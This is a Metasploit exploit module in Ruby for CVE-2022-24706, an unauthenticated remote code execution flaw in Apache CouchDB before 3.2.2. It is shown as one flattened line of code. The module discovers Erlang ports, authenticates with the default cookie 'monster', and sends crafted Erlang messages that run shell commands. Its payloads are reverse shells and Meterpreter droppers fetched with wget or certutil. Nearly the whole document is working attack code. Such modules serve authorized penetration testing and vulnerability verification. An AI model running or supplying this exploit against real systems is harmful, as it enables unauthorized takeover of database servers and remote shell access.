## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Retry include Msf::Exploit::Powershell prepend Msf::Exploit::Remote::AutoCheck require 'msf/core/exploit/powershell' require 'digest' # Constants required for communicating over the Erlang protocol defined here: # https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html EPM_NAME_CMD = "\x00\x01\x6e".freeze NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze COOKIE = 'monster'.freeze COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Couchdb Erlang RCE', 'Description' => %q{ In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without authenticating and gain admin privileges. }, 'Author' => [ 'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery '1F98D', # Erlang Cookie RCE exploit 'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit '_sadshade', # Apache CouchDB Erlang Cookie exploit 'jheysel-r7', # Msf Module ], 'References' => [ [ 'EDB', '49418' ], [ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'], [ 'CVE', '2022-24706'], ], 'License' => MSF_LICENSE, 'Platform' => ['win', 'linux'], 'Payload' => { 'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method }, 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => :wget, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ], [ 'Windows Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :win_dropper, 'CmdStagerFlavor' => :certutil, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp' } } ], [ 'PowerShell Stager', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :psh_stager, 'CmdStagerFlavor' => :certutil, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2022-01-21', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ), ) register_options( [ Opt::RPORT(4369) ] ) end def check erlang_ports = get_erlang_ports # If get_erlang_ports does not return an array of port numbers, the target is not vulnerable. return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty? erlang_ports.each do |erlang_port| # If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been # successful and the target as well as the specific socket used in this instance is vulnerable sock = connect_to_erlang_server(erlang_port.to_i) if sock.instance_of?(Socket) @vulnerable_socket = sock return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"') else next end end Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched') end # Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers # # @return [Array] An array of port numbers for discovered Erlang Servers. def get_erlang_ports erlang_ports = [] begin print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...") connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] }) # request Erlang nodes sock.put(EPM_NAME_CMD) sleep datastore['WfsDelay'] res = sock.get_once unless res && res.include?("\x00\x00\x11\x11name couchdb") print_error('Did not find any Erlang nodes') return erlang_ports end print_status('Successfully found EDPM socket') res.each_line do |line| erlang_ports << line.match(/\s(\d+$)/)[0] end rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e print_error("Error connecting to EDPM: #{e.class} #{e}") disconnect return erlang_ports end erlang_ports end # Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the # default erlang cookie value in Apache CouchDB installations before 3.2.2 # # @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server def connect_to_erlang_server(erlang_port) print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...') connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port }) print_status('Connection successful') challenge = retry_until_truthy(timeout: 60) do sock.put(NAME_MSG) sock.get_once(5) # ok message sock.get_once end # The expected successful response from the target should start with \x00\x1C unless challenge && challenge.include?("\x00\x1C") print_error('Connecting to the Erlang server was unsuccessful') return end challenge = challenge[9..12].unpack('N*')[0] challenge_reply = "\x00\x15r\x01\x02\x03\x04" md5 = Digest::MD5.new md5.update(COOKIE + challenge.to_s) challenge_reply << [md5.hexdigest].pack('H*') sock.put(challenge_reply) sleep datastore['WfsDelay'] challenge_response = sock.get_once if challenge_response.nil? print_error('Authentication was unsuccessful') return end print_status('Erlang challenge and response completed successfully') sock rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e print_error("Error when connecting to Erlang Server: #{e.class} #{e} ") disconnect return end def compile_cmd(cmd) msg = '' msg << COMMAND_PREFIX msg << [cmd.length].pack('S>') msg << cmd msg << "jw\x04user" payload = ("\x70" + CTRL_DATA + msg) ([payload.size].pack('N*') + payload) end def execute_command(cmd, opts = {}) payload = compile_cmd(cmd) print_status('Sending payload... ') opts[:sock].put(payload) sleep datastore['WfsDelay'] end def exploit_socket(sock) case target['Type'] when :unix_cmd, :win_cmd execute_command(payload.encoded, { sock: sock }) when :linux_dropper, :win_dropper execute_cmdstager({ sock: sock }) when :psh_stager execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock }) else fail_with(Failure::BadConfig, 'Invalid target specified') end end def exploit # If the check method has already been run, use the vulnerable socket that has already been identified if @vulnerable_socket exploit_socket(@vulnerable_socket) else erlang_ports = get_erlang_ports fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array) erlang_ports.each do |erlang_port| sock = connect_to_erlang_server(erlang_port.to_i) next unless sock.instance_of?(Socket) exploit_socket(sock) end end end end